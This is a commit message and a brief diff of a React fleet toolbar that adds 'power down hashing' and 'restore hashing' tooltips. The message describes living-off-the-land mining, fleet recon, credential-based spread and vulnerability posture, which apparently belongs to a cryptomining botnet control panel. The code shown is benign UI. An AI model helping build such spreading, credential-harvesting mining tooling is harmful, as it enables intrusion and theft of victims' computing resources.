Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
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@@ -119,8 +119,8 @@ export default function FleetToolbar({
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Screenshot
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</button>
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)}
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<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
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<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
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<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
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<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
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<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
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<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
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<button
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